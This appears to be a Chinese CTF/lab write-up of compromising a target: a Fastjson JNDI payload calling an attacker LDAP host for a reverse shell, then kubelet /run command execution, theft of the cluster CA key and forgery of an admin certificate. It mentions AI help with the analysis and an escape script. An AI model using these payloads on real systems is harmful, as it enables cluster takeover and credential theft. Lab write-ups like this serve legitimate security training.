文章封面：Rivulet
刷题&&打靶

Rivulet

Rivulet

信息收集

1
2
3
4
5
6
7
8
9

8.146.235.49:22 open
8.146.235.49:2379 open
8.146.235.49:10250 open
8.146.235.49:8080 open
[*] alive ports len is: 4
start vulscan
[*] WebTitle https://8.146.235.49:10250 code:200 len:104    title:None
[*] WebTitle http://8.146.235.49:8080  code:302 len:0      title:None 跳转url: http://8.146.235.49:8080/login;jsessionid=A801E03E029E58F644EBB920FEA37E26
[*] WebTitle http://8.146.235.49:8080/login;jsessionid=A801E03E029E58F644EBB920FEA37E26 code:400 len:277    title:None

10250端口没法直接访问，但是这个是k8s的常用端口，8080端口是个java服务,看起来是shiro，但是工具梭哈没结果

image-20260714205827460

admin/admin登入，有个留言功能，抓包是json格式的，想到打fastjson,dnslog炸了，用Interactsh | Web Client

1

{"@type":"java.net.InetSocketAddress"{"address":,"val":"wxgdolnimumjztxypzjhsni7xikh0qyu1.oast.fun"}}

image-20260714211040857

image-20260714211047715

收到了，接下来尝试jndi拿shell，这里用<=1.2.47的缓存绕过通用payload打

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11

{
  "a":{
    "@type":"java.lang.Class",
    "val":"com.sun.rowset.JdbcRowSetImpl"
  },
  "b":{
    "@type":"com.sun.rowset.JdbcRowSetImpl",
    "dataSourceName":"ldap://vps:1389/ygktlx",
    "autoCommit":true
  }
}

image-20260714211502567

nc起个监听就拿到shell了,然后内网扫描还是前面一样的结果,直接搭代理

然后直接读pods

1

proxychains4 curl -k https://172.17.0.1:10250/pods

能读到一大坨东西

1

{"kind":"PodList","apiVersion":"v1","metadata":{},"items":[{"metadata":{"name":"kube-proxy-j874v","generateName":"kube-proxy-","namespace":"kube-system","selfLink":"/api/v1/namespaces/kube-system/pods/kube-proxy-j874v","uid":"84ee99bb-d025-4b62-a2dd-44012d40d1e3","resourceVersion":"7009","creationTimestamp":"2026-04-16T08:19:40Z","labels":{"controller-revision-hash":"844c78dc9","k8s-app":"kube-proxy","pod-template-generation":"1"},"annotations":{"kubernetes.io/config.seen":"2026-07-14T12:53:24.697704232Z","kubernetes.io/config.source":"api"},"ownerReferences":[{"apiVersion":"apps/v1","kind":"DaemonSet","name":"kube-proxy","uid":"ce02234e-3c04-4cd6-bd21-c2c04ec22234","controller":true,"blockOwnerDeletion":true}]},"spec":{"volumes":[{"name":"kube-proxy","configMap":{"name":"kube-proxy","defaultMode":420}},{"name":"xtables-lock","hostPath":{"path":"/run/xtables.lock","type":"FileOrCreate"}},{"name":"lib-modules","hostPath":{"path":"/lib/modules","type":""}},{"name":"kube-proxy-token-kbw4r","secret":{"secretName":"kube-proxy-token-kbw4r","defaultMode":420}}],"containers":[{"name":"kube-proxy","image":"registry.aliyuncs.com/google_containers/kube-proxy:v1.16.5","command":["/usr/local/bin/kube-proxy","--config=/var/lib/kube-proxy/config.conf","--hostname-override=$(NODE_NAME)"],"env":[{"name":"NODE_NAME","valueFrom":{"fieldRef":{"apiVersion":"v1","fieldPath":"spec.nodeName"}}}],"resources":{},"volumeMounts":[{"name":"kube-proxy","mountPath":"/var/lib/kube-proxy"},{"name":"xtables-lock","mountPath":"/run/xtables.lock"},{"name":"lib-modules","readOnly":true,"mountPath":"/lib/modules"},{"name":"kube-proxy-token-kbw4r","readOnly":true,"mountPath":"/var/run/secrets/kubernetes.io/serviceaccount"}],"terminationMessagePath":"/dev/termination-log","terminationMessagePolicy":"File","imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}],"restartPolicy":"Always","terminationGracePeriodSeconds":30,"dnsPolicy":"ClusterFirst","nodeSelector":{"beta.kubernetes.io/os":"linux"},"serviceAccountName":"kube-proxy","serviceAccount":"kube-proxy","nodeName":"web","hostNetwork":true,"securityContext":{},"affinity":{"nodeAffinity":{"requiredDuringSchedulingIgnoredDuringExecution":{"nodeSelectorTerms":[{"matchFields":[{"key":"metadata.name","operator":"In","values":["web"]}]}]}}},"schedulerName":"default-scheduler","tolerations":[{"key":"CriticalAddonsOnly","operator":"Exists"},{"operator":"Exists"},{"key":"node.kubernetes.io/not-ready","operator":"Exists","effect":"NoExecute"},{"key":"node.kubernetes.io/unreachable","operator":"Exists","effect":"NoExecute"},{"key":"node.kubernetes.io/disk-pressure","operator":"Exists","effect":"NoSchedule"},{"key":"node.kubernetes.io/memory-pressure","operator":"Exists","effect":"NoSchedule"},{"key":"node.kubernetes.io/pid-pressure","operator":"Exists","effect":"NoSchedule"},{"key":"node.kubernetes.io/unschedulable","operator":"Exists","effect":"NoSchedule"},{"key":"node.kubernetes.io/network-unavailable","operator":"Exists","effect":"NoSchedule"}],"priorityClassName":"system-node-critical","priority":2000001000,"enableServiceLinks":true},"status":{"phase":"Running","conditions":[{"type":"Initialized","status":"True","lastProbeTime":null,"lastTransitionTime":"2026-04-16T08:19:40Z"},{"type":"Ready","status":"True","lastProbeTime":null,"lastTransitionTime":"2026-07-14T12:53:27Z"},{"type":"ContainersReady","status":"True","lastProbeTime":null,"lastTransitionTime":"2026-07-14T12:53:27Z"},{"type":"PodScheduled","status":"True","lastProbeTime":null,"lastTransitionTime":"2026-04-16T08:19:40Z"}],"hostIP":"192.168.1.56","podIP":"192.168.1.56","podIPs":[{"ip":"192.168.1.56"}],"startTime":"2026-04-16T08:19:40Z","containerStatuses":[{"name":"kube-proxy","state":{"running":{"startedAt":"2026-07-14T12:53:27Z"}},"lastState":{"terminated":{"exitCode":255,"reason":"Error","startedAt":"2026-04-17T17:26:51Z","finishedAt":"2026-07-14T20:52:51Z","containerID":"docker://c326f93b41399ca58a0f908c4f73c348dcb15c8510d7f859318ad6c680d80ad0"}},"ready":true,"restartCount":5,"image":"registry.aliyuncs.com/google_containers/kube-proxy:v1.16.5","imageID":"docker-pullable://registry.aliyuncs.com/google_containers/kube-proxy@sha256:166939d1b8d0988d675a027f459e40fbded092887905cc1b62b7e4cb67d493c5","containerID":"docker://48df4ef8b8715689797003d2b1a893bae310c346917859f23f95861a736b81a6","started":true}],"qosClass":"BestEffort"}},{"metadata":{"name":"etcd-web","namespace":"kube-system","selfLink":"/api/v1/namespaces/kube-system/pods/etcd-web","uid":"5a5c733754817033fbac18a841a4281f","creationTimestamp":null,"labels":{"component":"etcd","tier":"control-plane"},"annotations":{"kubernetes.io/config.hash":"5a5c733754817033fbac18a841a4281f","kubernetes.io/config.seen":"2026-07-14T20:52:53.978329845Z","kubernetes.io/config.source":"file"}},"spec":{"volumes":[{"name":"etcd-certs","hostPath":{"path":"/etc/kubernetes/pki/etcd","type":"DirectoryOrCreate"}},{"name":"etcd-data","hostPath":{"path":"/var/lib/etcd","type":"DirectoryOrCreate"}}],"containers":[{"name":"etcd","image":"registry.aliyuncs.com/google_containers/etcd:3.3.15-0","command":["etcd","--advertise-client-urls=https://192.168.1.56:2379","--cert-file=/etc/kubernetes/pki/etcd/server.crt","--client-cert-auth=true","--data-dir=/var/lib/etcd","--initial-advertise-peer-urls=https://192.168.1.56:2380","--initial-cluster=web=https://192.168.1.56:2380","--key-file=/etc/kubernetes/pki/etcd/server.key","--listen-client-urls=https://127.0.0.1:2379,https://192.168.1.56:2379","--listen-metrics-urls=http://127.0.0.1:2381","--listen-peer-urls=https://192.168.1.56:2380","--name=web","--peer-cert-file=/etc/kubernetes/pki/etcd/peer.crt","--peer-client-cert-auth=true","--peer-key-file=/etc/kubernetes/pki/etcd/peer.key","--peer-trusted-ca-file=/etc/kubernetes/pki/etcd/ca.crt","--snapshot-count=10000","--trusted-ca-file=/etc/kubernetes/pki/etcd/ca.crt"],"resources":{},"volumeMounts":[{"name":"etcd-data","mountPath":"/var/lib/etcd"},{"name":"etcd-certs","mountPath":"/etc/kubernetes/pki/etcd"}],"livenessProbe":{"httpGet":{"path":"/health","port":2381,"host":"127.0.0.1","scheme":"HTTP"},"initialDelaySeconds":15,"timeoutSeconds":15,"periodSeconds":10,"successThreshold":1,"failureThreshold":8},"terminationMessagePath":"/dev/termination-log","terminationMessagePolicy":"File","imagePullPolicy":"IfNotPresent"}],"restartPolicy":"Always","terminationGracePeriodSeconds":30,"dnsPolicy":"ClusterFirst","nodeName":"web","hostNetwork":true,"securityContext":{},"schedulerName":"default-scheduler","tolerations":[{"operator":"Exists","effect":"NoExecute"}],"priorityClassName":"system-cluster-critical","enableServiceLinks":true},"status":{"phase":"Running","conditions":[{"type":"Initialized","status":"True","lastProbeTime":null,"lastTransitionTime":"2026-07-14T12:53:15Z"},{"type":"Ready","status":"True","lastProbeTime":null,"lastTransitionTime":"2026-07-14T12:53:19Z"},{"type":"ContainersReady","status":"True","lastProbeTime":null,"lastTransitionTime":"2026-07-14T12:53:19Z"},{"type":"PodScheduled","status":"True","lastProbeTime":null,"lastTransitionTime":"2026-07-14T12:53:15Z"}],"hostIP":"192.168.1.56","podIP":"192.168.1.56","podIPs":[{"ip":"192.168.1.56"}],"startTime":"2026-07-14T12:53:15Z","containerStatuses":[{"name":"etcd","state":{"running":{"startedAt":"2026-07-14T12:53:19Z"}},"lastState":{"terminated":{"exitCode":255,"reason":"Error","startedAt":"2026-04-17T17:26:41Z","finishedAt":"2026-07-14T20:52:51Z","containerID":"docker://bd6a3baebedcef40afb60505307135c3fcbc18f108db1ac5b6c030b74c3d7e83"}},"ready":true,"restartCount":9,"image":"registry.aliyuncs.com/google_containers/etcd:3.3.15-0","imageID":"docker-pullable://registry.aliyuncs.com/google_containers/etcd@sha256:12c2c5e5731c3bcd56e6f1c05c0f9198b6f06793fa7fca2fb43aab9622dc4afa","containerID":"docker://d84b0d4cda377d68cfe9b04faa7cec0193fae246f62d539b30335f9e30896f22","started":true}],"qosClass":"BestEffort"}},{"metadata":{"name":"kube-apiserver-web","namespace":"kube-system","selfLink":"/api/v1/namespaces/kube-system/pods/kube-apiserver-web","uid":"b269709cbe90ff42cbcdc86d9df1e59c","creationTimestamp":null,"labels":{"component":"kube-apiserver","tier":"control-plane"},"annotations":{"kubernetes.io/config.hash":"b269709cbe90ff42cbcdc86d9df1e59c","kubernetes.io/config.seen":"2026-07-14T20:52:53.978340266Z","kubernetes.io/config.source":"file"}},"spec":{"volumes":[{"name":"ca-certs","hostPath":{"path":"/etc/ssl/certs","type":"DirectoryOrCreate"}},{"name":"etc-ca-certificates","hostPath":{"path":"/etc/ca-certificates","type":"DirectoryOrCreate"}},{"name":"k8s-certs","hostPath":{"path":"/etc/kubernetes/pki","type":"DirectoryOrCreate"}},{"name":"usr-local-share-ca-certificates","hostPath":{"path":"/usr/local/share/ca-certificates","type":"DirectoryOrCreate"}},{"name":"usr-share-ca-certificates","hostPath":{"path":"/usr/share/ca-certificates","type":"DirectoryOrCreate"}}],"containers":[{"name":"kube-apiserver","image":"registry.aliyuncs.com/google_containers/kube-apiserver:v1.16.5","command":["kube-apiserver","--advertise-address=192.168.1.56","--allow-privileged=true","--authorization-mode=Node,RBAC","--bind-address=192.168.1.56","--client-ca-file=/etc/kubernetes/pki/ca.crt","--enable-admission-plugins=NodeRestriction","--enable-bootstrap-token-auth=true","--etcd-cafile=/etc/kubernetes/pki/etcd/ca.crt","--etcd-certfile=/etc/kubernetes/pki/apiserver-etcd-client.crt","--etcd-keyfile=/etc/kubernetes/pki/apiserver-etcd-client.key","--etcd-servers=https://127.0.0.1:2379","--insecure-port=0","--kubelet-client-certificate=/etc/kubernetes/pki/apiserver-kubelet-client.crt","--kubelet-client-key=/etc/kubernetes/pki/apiserver-kubelet-client.key","--kubelet-preferred-address-types=InternalIP,ExternalIP,Hostname","--proxy-client-cert-file=/etc/kubernetes/pki/front-proxy-client.crt","--proxy-client-key-file=/etc/kubernetes/pki/front-proxy-client.key","--requestheader-allowed-names=front-proxy-client","--requestheader-client-ca-file=/etc/kubernetes/pki/front-proxy-ca.crt","--requestheader-extra-headers-prefix=X-Remote-Extra-","--requestheader-group-headers=X-Remote-Group","--requestheader-username-headers=X-Remote-User","--secure-port=6443","--service-account-key-file=/etc/kubernetes/pki/sa.pub","--service-cluster-ip-range=10.96.0.0/12","--tls-cert-file=/etc/kubernetes/pki/apiserver.crt","--tls-private-key-file=/etc/kubernetes/pki/apiserver.key"],"resources":{"requests":{"cpu":"250m"}},"volumeMounts":[{"name":"ca-certs","readOnly":true,"mountPath":"/etc/ssl/certs"},{"name":"etc-ca-certificates","readOnly":true,"mountPath":"/etc/ca-certificates"},{"name":"k8s-certs","readOnly":true,"mountPath":"/etc/kubernetes/pki"},{"name":"usr-local-share-ca-certificates","readOnly":true,"mountPath":"/usr/local/share/ca-certificates"},{"name":"usr-share-ca-certificates","readOnly":true,"mountPath":"/usr/share/ca-certificates"}],"livenessProbe":{"httpGet":{"path":"/healthz","port":6443,"host":"192.168.1.56","scheme":"HTTPS"},"initialDelaySeconds":15,"timeoutSeconds":15,"periodSeconds":10,"successThreshold":1,"failureThreshold":8},"terminationMessagePath":"/dev/termination-log","terminationMessagePolicy":"File","imagePullPolicy":"IfNotPresent"}],"restartPolicy":"Always","terminationGracePeriodSeconds":30,"dnsPolicy":"ClusterFirst","nodeName":"web","hostNetwork":true,"securityContext":{},"schedulerName":"default-scheduler","tolerations":[{"operator":"Exists","effect":"NoExecute"}],"priorityClassName":"system-cluster-critical","enableServiceLinks":true},"status":{"phase":"Running","conditions":[{"type":"Initialized","status":"True","lastProbeTime":null,"lastTransitionTime":"2026-07-14T12:53:15Z"},{"type":"Ready","status":"True","lastProbeTime":null,"lastTransitionTime":"2026-07-14T12:53:19Z"},{"type":"ContainersReady","status":"True","lastProbeTime":null,"lastTransitionTime":"2026-07-14T12:53:19Z"},{"type":"PodScheduled","status":"True","lastProbeTime":null,"lastTransitionTime":"2026-07-14T12:53:15Z"}],"hostIP":"192.168.1.56","podIP":"192.168.1.56","podIPs":[{"ip":"192.168.1.56"}],"startTime":"2026-07-14T12:53:15Z","containerStatuses":[{"name":"kube-apiserver","state":{"running":{"startedAt":"2026-07-14T12:53:19Z"}},"lastState":{"terminated":{"exitCode":255,"reason":"Error","startedAt":"2026-04-17T17:26:41Z","finishedAt":"2026-07-14T20:52:51Z","containerID":"docker://91466a17b6887e674e4a083a273f9e2ea766b0d3230d3e6bd9a2f8fd72cb4267"}},"ready":true,"restartCount":9,"image":"registry.aliyuncs.com/google_containers/kube-apiserver:v1.16.5","imageID":"docker-pullable://registry.aliyuncs.com/google_containers/kube-apiserver@sha256:1ec8f8d41f67f3263b86d71f3a7d3d925b2458dd14292baecfbdf18c234a1855","containerID":"docker://849401ada69203e740b441e6fdca9228f1ad2ede5d1d61fd1d14c044d48de7e3","started":true}],"qosClass":"Burstable"}},{"metadata":{"name":"kube-controller-manager-web","namespace":"kube-system","selfLink":"/api/v1/namespaces/kube-system/pods/kube-controller-manager-web","uid":"f50eab22113ed55f640ed65722a1b225","creationTimestamp":null,"labels":{"component":"kube-controller-manager","tier":"control-plane"},"annotations":{"kubernetes.io/config.hash":"f50eab22113ed55f640ed65722a1b225","kubernetes.io/config.seen":"2026-07-14T20:52:53.978343406Z","kubernetes.io/config.source":"file"}},"spec":{"volumes":[{"name":"ca-certs","hostPath":{"path":"/etc/ssl/certs","type":"DirectoryOrCreate"}},{"name":"etc-ca-certificates","hostPath":{"path":"/etc/ca-certificates","type":"DirectoryOrCreate"}},{"name":"flexvolume-dir","hostPath":{"path":"/usr/libexec/kubernetes/kubelet-plugins/volume/exec","type":"DirectoryOrCreate"}},{"name":"k8s-certs","hostPath":{"path":"/etc/kubernetes/pki","type":"DirectoryOrCreate"}},{"name":"kubeconfig","hostPath":{"path":"/etc/kubernetes/controller-manager.conf","type":"FileOrCreate"}},{"name":"usr-local-share-ca-certificates","hostPath":{"path":"/usr/local/share/ca-certificates","type":"DirectoryOrCreate"}},{"name":"usr-share-ca-certificates","hostPath":{"path":"/usr/share/ca-certificates","type":"DirectoryOrCreate"}}],"containers":[{"name":"kube-controller-manager","image":"registry.aliyuncs.com/google_containers/kube-controller-manager:v1.16.5","command":["kube-controller-manager","--allocate-node-cidrs=true","--authentication-kubeconfig=/etc/kubernetes/controller-manager.conf","--authorization-kubeconfig=/etc/kubernetes/controller-manager.conf","--bind-address=127.0.0.1","--client-ca-file=/etc/kubernetes/pki/ca.crt","--cluster-cidr=10.244.0.0/16","--cluster-signing-cert-file=/etc/kubernetes/pki/ca.crt","--cluster-signing-key-file=/etc/kubernetes/pki/ca.key","--controllers=*,bootstrapsigner,tokencleaner","--kubeconfig=/etc/kubernetes/controller-manager.conf","--leader-elect=true","--node-cidr-mask-size=24","--requestheader-client-ca-file=/etc/kubernetes/pki/front-proxy-ca.crt","--root-ca-file=/etc/kubernetes/pki/ca.crt","--service-account-private-key-file=/etc/kubernetes/pki/sa.key","--service-cluster-ip-range=10.96.0.0/12","--use-service-account-credentials=true"],"resources":{"requests":{"cpu":"200m"}},"volumeMounts":[{"name":"ca-certs","readOnly":true,"mountPath":"/etc/ssl/certs"},{"name":"etc-ca-certificates","readOnly":true,"mountPath":"/etc/ca-certificates"},{"name":"flexvolume-dir","mountPath":"/usr/libexec/kubernetes/kubelet-plugins/volume/exec"},{"name":"k8s-certs","readOnly":true,"mountPath":"/etc/kubernetes/pki"},{"name":"kubeconfig","readOnly":true,"mountPath":"/etc/kubernetes/controller-manager.conf"},{"name":"usr-local-share-ca-certificates","readOnly":true,"mountPath":"/usr/local/share/ca-certificates"},{"name":"usr-share-ca-certificates","readOnly":true,"mountPath":"/usr/share/ca-certificates"}],"livenessProbe":{"httpGet":{"path":"/healthz","port":10252,"host":"127.0.0.1","scheme":"HTTP"},"initialDelaySeconds":15,"timeoutSeconds":15,"periodSeconds":10,"successThreshold":1,"failureThreshold":8},"terminationMessagePath":"/dev/termination-log","terminationMessagePolicy":"File","imagePullPolicy":"IfNotPresent"}],"restartPolicy":"Always","terminationGracePeriodSeconds":30,"dnsPolicy":"ClusterFirst","nodeName":"web","hostNetwork":true,"securityContext":{},"schedulerName":"default-scheduler","tolerations":[{"operator":"Exists","effect":"NoExecute"}],"priorityClassName":"system-cluster-critical","enableServiceLinks":true},"status":{"phase":"Running","conditions":[{"type":"Initialized","status":"True","lastProbeTime":null,"lastTransitionTime":"2026-07-14T12:53:15Z"},{"type":"Ready","status":"True","lastProbeTime":null,"lastTransitionTime":"2026-07-14T12:53:19Z"},{"type":"ContainersReady","status":"True","lastProbeTime":null,"lastTransitionTime":"2026-07-14T12:53:19Z"},{"type":"PodScheduled","status":"True","lastProbeTime":null,"lastTransitionTime":"2026-07-14T12:53:15Z"}],"hostIP":"192.168.1.56","podIP":"192.168.1.56","podIPs":[{"ip":"192.168.1.56"}],"startTime":"2026-07-14T12:53:15Z","containerStatuses":[{"name":"kube-controller-manager","state":{"running":{"startedAt":"2026-07-14T12:53:19Z"}},"lastState":{"terminated":{"exitCode":255,"reason":"Error","startedAt":"2026-04-17T17:26:41Z","finishedAt":"2026-07-14T20:52:51Z","containerID":"docker://4eee9f10e7ece666912c13a858bdeb31e58820e645c003a4734c8ce4766f2beb"}},"ready":true,"restartCount":9,"image":"registry.aliyuncs.com/google_containers/kube-controller-manager:v1.16.5","imageID":"docker-pullable://registry.aliyuncs.com/google_containers/kube-controller-manager@sha256:d807554df171ba4f3b56aa2a63c2ef5b56af095fd7aebdeafedbbfcda5275d10","containerID":"docker://7dd8dc98a20a962ee33a042dd1fe390453d02e891c0c6b894881d056e46e025d","started":true}],"qosClass":"Burstable"}},{"metadata":{"name":"kube-scheduler-web","namespace":"kube-system","selfLink":"/api/v1/namespaces/kube-system/pods/kube-scheduler-web","uid":"2a528eea0130758e2a9e516b17b74d35","creationTimestamp":null,"labels":{"component":"kube-scheduler","tier":"control-plane"},"annotations":{"kubernetes.io/config.hash":"2a528eea0130758e2a9e516b17b74d35","kubernetes.io/config.seen":"2026-07-14T20:52:53.978346432Z","kubernetes.io/config.source":"file"}},"spec":{"volumes":[{"name":"kubeconfig","hostPath":{"path":"/etc/kubernetes/scheduler.conf","type":"FileOrCreate"}}],"containers":[{"name":"kube-scheduler","image":"registry.aliyuncs.com/google_containers/kube-scheduler:v1.16.5","command":["kube-scheduler","--authentication-kubeconfig=/etc/kubernetes/scheduler.conf","--authorization-kubeconfig=/etc/kubernetes/scheduler.conf","--bind-address=127.0.0.1","--kubeconfig=/etc/kubernetes/scheduler.conf","--leader-elect=true"],"resources":{"requests":{"cpu":"100m"}},"volumeMounts":[{"name":"kubeconfig","readOnly":true,"mountPath":"/etc/kubernetes/scheduler.conf"}],"livenessProbe":{"httpGet":{"path":"/healthz","port":10251,"host":"127.0.0.1","scheme":"HTTP"},"initialDelaySeconds":15,"timeoutSeconds":15,"periodSeconds":10,"successThreshold":1,"failureThreshold":8},"terminationMessagePath":"/dev/termination-log","terminationMessagePolicy":"File","imagePullPolicy":"IfNotPresent"}],"restartPolicy":"Always","terminationGracePeriodSeconds":30,"dnsPolicy":"ClusterFirst","nodeName":"web","hostNetwork":true,"securityContext":{},"schedulerName":"default-scheduler","tolerations":[{"operator":"Exists","effect":"NoExecute"}],"priorityClassName":"system-cluster-critical","enableServiceLinks":true},"status":{"phase":"Running","conditions":[{"type":"Initialized","status":"True","lastProbeTime":null,"lastTransitionTime":"2026-07-14T12:53:15Z"},{"type":"Ready","status":"True","lastProbeTime":null,"lastTransitionTime":"2026-07-14T12:53:19Z"},{"type":"ContainersReady","status":"True","lastProbeTime":null,"lastTransitionTime":"2026-07-14T12:53:19Z"},{"type":"PodScheduled","status":"True","lastProbeTime":null,"lastTransitionTime":"2026-07-14T12:53:15Z"}],"hostIP":"192.168.1.56","podIP":"192.168.1.56","podIPs":[{"ip":"192.168.1.56"}],"startTime":"2026-07-14T12:53:15Z","containerStatuses":[{"name":"kube-scheduler","state":{"running":{"startedAt":"2026-07-14T12:53:19Z"}},"lastState":{"terminated":{"exitCode":255,"reason":"Error","startedAt":"2026-04-17T17:26:41Z","finishedAt":"2026-07-14T20:52:51Z","containerID":"docker://69cd8f48ef273a80a2c5b5af45692978bd34b1bf4e701c5babf1ce8f21669ab2"}},"ready":true,"restartCount":10,"image":"registry.aliyuncs.com/google_containers/kube-scheduler:v1.16.5","imageID":"docker-pullable://registry.aliyuncs.com/google_containers/kube-scheduler@sha256:8f20c90afce972ae51acaf425b7bdb6445f54168b52ea311b2b89adf5db1acac","containerID":"docker://de62d9074449ec26053a09c474da65e1f93065958572d743cc4c269306a771fe","started":true}],"qosClass":"Burstable"}},{"metadata":{"name":"kube-flannel-ds-7tjnc","generateName":"kube-flannel-ds-","namespace":"kube-flannel","selfLink":"/api/v1/namespaces/kube-flannel/pods/kube-flannel-ds-7tjnc","uid":"2ee99dbf-5741-48d2-83b3-666f1789f702","resourceVersion":"6975","creationTimestamp":"2026-04-16T07:57:47Z","labels":{"app":"flannel","controller-revision-hash":"5c766884b","pod-template-generation":"1"},"annotations":{"kubernetes.io/config.seen":"2026-07-14T12:53:24.697708952Z","kubernetes.io/config.source":"api"},"ownerReferences":[{"apiVersion":"apps/v1","kind":"DaemonSet","name":"kube-flannel-ds","uid":"f0fea1f7-3b34-4f8f-bbd2-e95836da73e9","controller":true,"blockOwnerDeletion":true}]},"spec":{"volumes":[{"name":"flannel-cfg","configMap":{"name":"kube-flannel-cfg","defaultMode":420}},{"name":"cni","hostPath":{"path":"/etc/cni/net.d","type":""}},{"name":"flannel-token-wxz9b","secret":{"secretName":"flannel-token-wxz9b","defaultMode":420}}],"containers":[{"name":"kube-flannel","image":"quay.io/coreos/flannel:v0.11.0-amd64","command":["/opt/bin/flanneld"],"args":["--ip-masq","--kube-subnet-mgr"],"env":[{"name":"POD_NAME","valueFrom":{"fieldRef":{"apiVersion":"v1","fieldPath":"metadata.name"}}},{"name":"POD_NAMESPACE","valueFrom":{"fieldRef":{"apiVersion":"v1","fieldPath":"metadata.namespace"}}}],"resources":{},"volumeMounts":[{"name":"flannel-cfg","mountPath":"/etc/kube-flannel"},{"name":"cni","mountPath":"/etc/cni/net.d"},{"name":"flannel-token-wxz9b","readOnly":true,"mountPath":"/var/run/secrets/kubernetes.io/serviceaccount"}],"terminationMessagePath":"/dev/termination-log","terminationMessagePolicy":"File","imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}],"restartPolicy":"Always","terminationGracePeriodSeconds":30,"dnsPolicy":"ClusterFirst","serviceAccountName":"flannel","serviceAccount":"flannel","nodeName":"web","hostNetwork":true,"securityContext":{},"affinity":{"nodeAffinity":{"requiredDuringSchedulingIgnoredDuringExecution":{"nodeSelectorTerms":[{"matchFields":[{"key":"metadata.name","operator":"In","values":["web"]}]}]}}},"schedulerName":"default-scheduler","tolerations":[{"operator":"Exists","effect":"NoSchedule"},{"key":"node.kubernetes.io/not-ready","operator":"Exists","effect":"NoExecute"},{"key":"node.kubernetes.io/unreachable","operator":"Exists","effect":"NoExecute"},{"key":"node.kubernetes.io/disk-pressure","operator":"Exists","effect":"NoSchedule"},{"key":"node.kubernetes.io/memory-pressure","operator":"Exists","effect":"NoSchedule"},{"key":"node.kubernetes.io/pid-pressure","operator":"Exists","effect":"NoSchedule"},{"key":"node.kubernetes.io/unschedulable","operator":"Exists","effect":"NoSchedule"},{"key":"node.kubernetes.io/network-unavailable","operator":"Exists","effect":"NoSchedule"}],"priority":0,"enableServiceLinks":true},"status":{"phase":"Running","conditions":[{"type":"Initialized","status":"True","lastProbeTime":null,"lastTransitionTime":"2026-04-16T07:57:47Z"},{"type":"Ready","status":"True","lastProbeTime":null,"lastTransitionTime":"2026-07-14T12:54:08Z"},{"type":"ContainersReady","status":"True","lastProbeTime":null,"lastTransitionTime":"2026-07-14T12:54:08Z"},{"type":"PodScheduled","status":"True","lastProbeTime":null,"lastTransitionTime":"2026-04-16T07:57:47Z"}],"hostIP":"192.168.1.56","podIP":"192.168.1.56","podIPs":[{"ip":"192.168.1.56"}],"startTime":"2026-04-16T07:57:47Z","containerStatuses":[{"name":"kube-flannel","state":{"running":{"startedAt":"2026-07-14T12:54:08Z"}},"lastState":{"terminated":{"exitCode":1,"reason":"Error","startedAt":"2026-07-14T12:53:26Z","finishedAt":"2026-07-14T12:53:57Z","containerID":"docker://d464a122c5f49b42c3cbd63e123304c279a7aec81b4e4d09d808e4fc43b8f579"}},"ready":true,"restartCount":10,"image":"quay.io/coreos/flannel:v0.11.0-amd64","imageID":"docker-pullable://quay.io/coreos/flannel@sha256:7806805c93b20a168d0bbbd25c6a213f00ac58a511c47e8fa6409543528a204e","containerID":"docker://f77aaa45c41b3b21922186653e3321f4c3d2c1cf0e6a034faa6cc6acf89ef073","started":true}],"qosClass":"BestEffort"}}]}

给ai分析说能够容器逃逸和rce,先测试rce

1

proxychains4 curl -k -X POST "https://192.168.1.56:10250/run/kube-system/kube-proxy-j874v/kube-proxy" -d "cmd=id"

直接回显了

1

uid=0(root) gid=0(root) groups=0(root)

然后先列出pkl

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20

┌──(root㉿kali)-[/home/kali]
└─# proxychains4 -q curl -k -X POST "https://192.168.1.56:10250/run/kube-system/kube-apiserver-web/kube-apiserver" -d "cmd=ls -al /etc/kubernetes/pki"
total 68
drwxr-xr-x 3 root root 4096 Apr 16 07:55 .
drwxr-xr-x 3 root root 4096 Jul 14 12:53 ..
-rw-r--r-- 1 root root 1090 Apr 16 07:55 apiserver-etcd-client.crt
-rw------- 1 root root 1679 Apr 16 07:55 apiserver-etcd-client.key
-rw-r--r-- 1 root root 1099 Apr 16 07:55 apiserver-kubelet-client.crt
-rw------- 1 root root 1675 Apr 16 07:55 apiserver-kubelet-client.key
-rw-r--r-- 1 root root 1212 Apr 16 07:55 apiserver.crt
-rw------- 1 root root 1675 Apr 16 07:55 apiserver.key
-rw-r--r-- 1 root root 1025 Apr 16 07:55 ca.crt
-rw------- 1 root root 1675 Apr 16 07:55 ca.key
drwxr-xr-x 2 root root 4096 Apr 16 07:55 etcd
-rw-r--r-- 1 root root 1038 Apr 16 07:55 front-proxy-ca.crt
-rw------- 1 root root 1679 Apr 16 07:55 front-proxy-ca.key
-rw-r--r-- 1 root root 1058 Apr 16 07:55 front-proxy-client.crt
-rw------- 1 root root 1679 Apr 16 07:55 front-proxy-client.key
-rw------- 1 root root 1675 Apr 16 07:55 sa.key
-rw------- 1 root root  451 Apr 16 07:55 sa.pub

拿ca的crt和key

1
2
3
4
5

proxychains4 curl -k -X POST "https://192.168.1.56:10250/run/kube-system/kube-apiserver-web/kube-apiserver" -d "cmd=base64 /etc/kubernetes/pki/ca.key"
proxychains4 curl -k -X POST "https://192.168.1.56:10250/run/kube-system/kube-apiserver-web/kube-apiserver" -d "cmd=base64 /etc/kubernetes/pki/ca.crt"
echo "你的ca.key.base64字符串" | base64 -d > ca.key
echo "你的ca.crt.base64字符串" | base64 -d > ca.crt
chmod 600 ca.key

然后生成admin证书

1
2
3
4
5
6

# 生成私钥
openssl genrsa -out admin.key 2048
# 生成证书签名请求 (CSR)
openssl req -new -key admin.key -out admin.csr -subj "/CN=kubernetes-admin/O=system:masters"
# 使用偷来的 CA 密钥签发证书
openssl x509 -req -in admin.csr -CA ca.crt -CAkey ca.key -CAcreateserial -out admin.crt -days 365

可以验证一下是否伪造成功

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13

┌──(root㉿kali)-[/tmp]
└─# curl -sS -k --cert admin.crt --key admin.key --cacert ca.crt https://8.146.235.49:6443/api/v1/namespaces | python3 -m json.tool | head 
{
    "kind": "NamespaceList",
    "apiVersion": "v1",
    "metadata": {
        "selfLink": "/api/v1/namespaces",
        "resourceVersion": "13189"
    },
    "items": [
        {
            "metadata": {

然后利用ai写逃逸脚本反弹shell

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
